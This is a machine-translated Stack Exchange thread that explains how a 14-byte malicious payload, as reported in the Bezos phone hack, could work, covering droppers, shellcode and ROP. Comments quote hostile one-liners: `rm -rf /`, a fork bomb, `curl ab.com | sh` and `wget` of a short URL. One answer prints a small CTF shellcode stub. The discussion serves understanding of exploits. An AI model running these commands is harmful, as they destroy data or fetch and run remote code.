題:
惡意代碼可以容納14個字節嗎?
Stud Sterkel
2020-01-23 08:22:43 UTC
view on stackexchange narkive permalink

我正在閱讀這篇《紐約時報》 (NYT)文章,該文章涉及傑夫·貝索斯(Jeff Bezos)的電話被盜。文章指出:

2018年5月的消息突然出現,其中包含無害的視頻文件以及14字節小的惡意代碼塊

14個字節中可能包含哪些惡意代碼?似乎沒有足夠的空間來容納《紐約時報》文章概述的邏輯。文章指出,收到消息後不久,電話就開始發送大量數據。

與預期的間諜代碼不完全相同……我曾經在我們大學池中可供學生使用的一台計算機上找到一個18字節的“ .com”可執行文件。不用考慮太多-所有帶入的磁盤等都必須進行病毒掃描-我執行了該文件.. lo,瞧瞧..它擦拭了系統驅動器c:....對於在那里工作的技術人員,幸運的是,沒有真正的數據丟失,因為這些數據全部在網絡共享上,但是重新安裝操作系統和應用程序花費了半個工作日
rm -rf /是8個字節,在某些情況下可能被認為是惡意的。
@8bittree`sudo rm -rf / \ n`正好是14(將\ n作為一個字節的Unix / Linux換行符,而不是DOS / Windows CR + LF組合)。
`:(){:|:&};:\ n`也有14個字符。
遺憾的是,它不是13個字節……本來應該是……不幸的。
@Michael刪除`\ n`,它是13。也是`while(true);`:12個字節。for(;;);`:8個字節。
我在看什麼@EricDuminil?
@VLAZ`while(true);`可以是`while(1> 0);`以保存字節。;)
@KevinCruijssen或某些語言中的`while(1)`,這會節省另外兩種語言。考慮一下我們可以用它編寫更多的惡意代碼!:D
@VLAZ我有Java背景並且每天都經常使用Codegolf SE,因此[[true]到`1> 0`提示“(https://codegolf.stackexchange.com/a/21704/52210)。但是您確實是對的,許多語言都使用“ 1”作為真實值,例如Python或C(尤其是代碼高爾夫挑戰,儘管“ while(1);”和“ for(;;);”都將是單字節-即[05AB1E]中的`[`(https://github.com/Adriandmen/05AB1E/wiki/Commands)。
@Evorlor它被稱為叉子炸彈
在我的系統上@MontyHarder,,sudo要求用戶鍵入密碼。
-1
怎麼樣:`wget http:// <縮短URL以進行充分利用>`
是的,它正好適合:4d 61 6c 69 63 69 6f 75 73 20 43 6f 64 65
我曾經一次用`while(1);`崩潰了整個網站(偶然)。該網站將在用戶提交的js服務器端執行。該網站關閉了一個星期。
-1
`curl ab.com | sh`是14個字符
Codegolf.SE將為他們感到驕傲。
六 答案:
ThoriumBR
2020-01-23 08:38:21 UTC
view on stackexchange narkive permalink

是的,可以。可能只是觸發漏洞,它將數據加載到電影中特定區域的內存中並執行。

惡意部分可能很小,有效載荷可能存儲在其他位置。提取並執行有效負載後,可以下載其他模塊,而不僅僅是加載程序。

就像大多數惡意軟件感染一樣,它起作用:一個名為“ dropper”的小組件會先執行,然後下載並執行其他模塊,直到下載並執行整個惡意軟件為止。這14個字節可能是一個滴管。僅檢查視頻不會顯示任何可疑內容,因為代碼看起來像是視頻數據(或元數據),但是來自加載器的14個字節會很突出。

僅用14個字節就能下載任何內容嗎?不過,我同意你的第一段。
@Anders:就您從網站上下載的內容而言,它不必“下載”任何內容。它所要做的就是指向視頻文件中的某個位置,該位置中嵌入了一些較大的可執行代碼,這些可執行代碼嵌入在元數據中或看上去有些嘈雜的[圖像的一部分](https://en.wikipedia.org/wiki/隱寫術)。
@Anders`wget ti.ny /éř3A`。實際的wget要求將協議包含在URL中,“ ti.ny”不是實際的URL縮小符,即使使用unicode,URL ID的四個字節也很少……但是這個想法就存在了……或者我可以只用四個字節調用“ nc-l”,然後讓外界完成其餘的工作。
@JohnDvorak我不希望視頻播放器中的漏洞採用bash命令,而是採用機器代碼。但這對我而言可能不是一個合理的假設。
-1
看看defcon和blackhat youtube頻道上的一些視頻。其中有很多故事是關於如何設法將半個字節的堆棧溢出阻止到系統的完整根目錄中的。真正令人印象深刻的是,他們對其中一些安全專家的理解程度以及他們對微小漏洞的處理能力。
請記住,IPv4地址僅需要4個字節;您不需要域名。
你能詳細說明嗎14個字節如何足以指出文件中的地址?
我在這裡有點新手,所以我還有一個問題,我想知道圖像數據是否位於數據段中,數據段中的某些數據如何傳輸到代碼段中並作為可執行指令處理?
@d-b-指針的大小通常為32(4個字節)或64(8個字節)。8字節可以尋址更多的內存,這是世界上每台計算機總和所擁有的。我認為視頻文件沒有那麼大。
@RohanBhale不一定是。關鍵是上下文。例如,對於shell命令,通常意義上沒有“可執行文件”。沒有硬件保護可以幫助您抵禦惡意Shell命令-運行中的“代碼”仍在代碼段中;但是該代碼正在執行的操作仍然由某個數據段中某個位置的內容控制。還記得WMF嗎?那些實際包含(受限制!)的GDI函數調用。過去,這是製作小型矢量圖形格式的好方法。在某個時候,它已經成為一個安全漏洞。您可以調用任意內核函數。
實際代碼的工作方式可能類似於“公式編輯器”(Equation Editor)的利用方式,在這種方式下,攻擊者還控制著“易受攻擊的程序”在內存中加載的數據。這14個字節的代碼所要做的就是將控制流恢復為已加載的數據。在這種情況下,可能是視頻幀或其一部分。它並不是什麼新鮮事物,只是另一本報紙希望如此簡單。
@MargaretBloom正是我的觀點!
@Luaan耶穌基督,WMF文件中的GDI代碼?真?有人必須瘋了。你有一些聯繫嗎?//編輯實際上沒關係,我發現“存儲在WMF文件中的矢量數據被描述為Microsoft Windows圖形設備接口(GDI)命令”和“以及在http上存儲GDI函數調用信息的可變長度記錄數組”://wvware.sourceforge.net/caolan/ora-wmf.html哦,天哪。我敢打賭,它沒有簽名/等。以某種方式修改玩家的符號/導入表並完成。
@FakeName但是,您不僅需要一個指針,不是嗎?好的,所以您有一段視頻可以出於任何原因執行。您怎麼知道只有14個字節的內存在哪裡加載了視頻?它應取決於用戶在加載視頻之前在WhatsApp中所做的事情,用戶在程序中所做的設置等。您不需要一些代碼來查找視頻的加載位置嗎?14字節不足以滿足要求,對嗎?
“您不需要一些代碼來查找視頻的加載位置嗎?”您可以執行諸如相對尋址之類的操作,因此您基本上可以說“從該數據的地址開始,向前/向後跳轉n個字節/字/頁/等...向前/向後執行”。由於您知道要執行的數據在哪裡,因此可以使用偏移量獲取文件中其他地方的shellcode,而這並不是主要漏洞利用的一部分。
Mike Ounsworth
2020-01-23 08:33:48 UTC
view on stackexchange narkive permalink

這實際上取決於編程語言和代碼所要注入的上下文。

有關在很少的代碼空間中可以完成的操作的示例,請查看代碼Golf Stack Exchange網站

惡意程度太差很難客觀地評估,否則這個問題就會被交叉發布。
公平地講,這些答案中的許多答案都是使用高爾夫語言,而手機上很可能沒有口譯員可用。
@findusl:有些人使用x86機器代碼打高爾夫球,例如[使用x86 / x64機器代碼打高爾夫球的提示](// codegolf.stackexchange.com/q/132981)。或更不常用的ARM機器代碼,例如我發布的ARM Thumb-2機器代碼中的40字節Adler-32:[計算Adler-32校驗和](// codegolf.stackexchange.com/a/79212)。當然,漏洞利用通常是使流程中的現有代碼完成某件事,因此只需將args設置為庫函數,而不是注入實現算法的新代碼。
@PeterCordes是的,他們使用機器代碼編程,但是通常不會得到最短的答案。我看了一下當前高爾夫球最常見的代碼問題,在13個字節以下的範圍內有很多答案,但是沒有一個答案是在沒有解釋器的情況下可以在iPhone上運行的語言。
錯誤類型我的意思是14個字節或更少。
@findusl:您是否錯過了我說過在機器代碼中實現算法通常不是漏洞利用工具的那一部分?相反,只需將args傳遞給現有函數。或者在更可能的ROP攻擊中,有效負載主要是返回地址,而根本沒有代碼。(機器代碼注入很困難; W ^ X正確地擊敗了它。)並且可以肯定的是,即使x86機器代碼通常也不像高爾夫球語言的源代碼那麼小,但是在某些問題上它是相等的或更好。例如x86格式為[GCD](// codegolf.stackexchange.com/q/77270)8字節,[13中的色度鍵](// codegolf.stackexchange.com/a/132757/30206)
我沒有錯過@PeterCordes,但是那部分是正確的,因此我認為不需要對此發表評論。但是,正如您提供的參考資料都顯示的那樣,打入機器碼的高爾夫通常與這無關。
Martin
2020-01-24 17:18:08 UTC
view on stackexchange narkive permalink

它絕對適合。例如,此 CTF挑戰解決方案攻擊執行約12個字節的二進製文件。發送的有效載荷為:

  0:54 push rsp1:5e pop rsi0000000000000002 <y>:2:31 e2 xor edx,esp4:0f 05 syscall6:eb fa jmp 2 <y> pre> 

(假設所有寄存器都清零了)

對於一個完整的pwn來說,這只有8個字節,可以讓您執行代碼,然後生成一個遠程shell。

當然,這是有針對性的,但僅作為示例。

那是x86機器代碼,但是如果您避免使用任何長指令,則ARM Thumb2機器代碼也是每條指令2個字節。(開始時的push / pop只是複制64位寄存器的2字節方式,而`mov rsi,rsp`需要REX前綴)。Thumb2具有2字節的`mov reg,reg`,我想即使是`mov r1,sp`也將堆棧指針複製到第二個syscall-arg-passing寄存器。)
Dark_eye
2020-01-23 20:12:02 UTC
view on stackexchange narkive permalink

正如彼得·科德斯(Peter Cordes)所說,我假設視頻文件中的14個字節會觸發一些內存漏洞,這14個字節是機器代碼!

這是一個非常重要的事實,許多人回答這裡正在考慮源代碼,字符和所有內容。所有這些大約需要8位/每個字符1個字節。因此,使用14個字符,一個人可能做不到那麼多。

但是那14個字節肯定是二進制的!因此,考慮到ARM CPU,其中一條指令為32位寬(包括自變量),IP地址為32位。有足夠的空間將該IP地址放入內存並執行系統調用。

它更可能是Thumb2代碼,因此每條指令2個字節。特別是因為有14個字節,而不是12或16個字節。
14個字節可能足以用有限的參數設置單個Syscall,但是您將不得不花很多時間才能使用它來在移動設備上洩露應用程序數據。
x86將比thumb2更加緊湊
Peter Cordes
2020-01-23 19:19:29 UTC
view on stackexchange narkive permalink

(可執行機器代碼的)真正的代碼注入通常可以很好地防禦不可執行的堆棧以及一般的W ^ X(寫xor exec)頁面權限。

如果談到緩衝區溢出,更典型的現代有效負載是一些ROP攻擊的返回地址。這不是傳統意義上的代碼,只是內存中已經存在的代碼片段的地址。 (如果我們正在談論ARM Thumb2模式,則可能是4字節指令的最後2個字節,因為這是一部電話。)

例如如果可以找到將正確的數據存入寄存器然後返回的代碼,則可以將其地址,然後是libc中的 system()的地址放到堆棧上。因此執行到達 system()時,它在正確的位置指向一個字符串指針,將其視為第一個arg。

該字符串可能恰好位於內存,或者它可能是有效載荷的非代碼部分。

當信息被科技新聞界稀釋到目前為止時,很難猜測它到底在說什麼或排除任何可能性

WGroleau
2020-01-24 23:17:39 UTC
view on stackexchange narkive permalink

要在一條消息中執行14個(或任意數量)字節,可能會在操作系統中出現錯誤。

但是,如果執行該消息,則肯定會調用系統中已有的其他代碼(

或者,在JPEG中,嵌入式預覽可能包含更多由十四個字節調用的代碼。



該問答將自動從英語翻譯而來。原始內容可在stackexchange上找到,我們感謝它分發的cc by-sa 4.0許可。
Loading...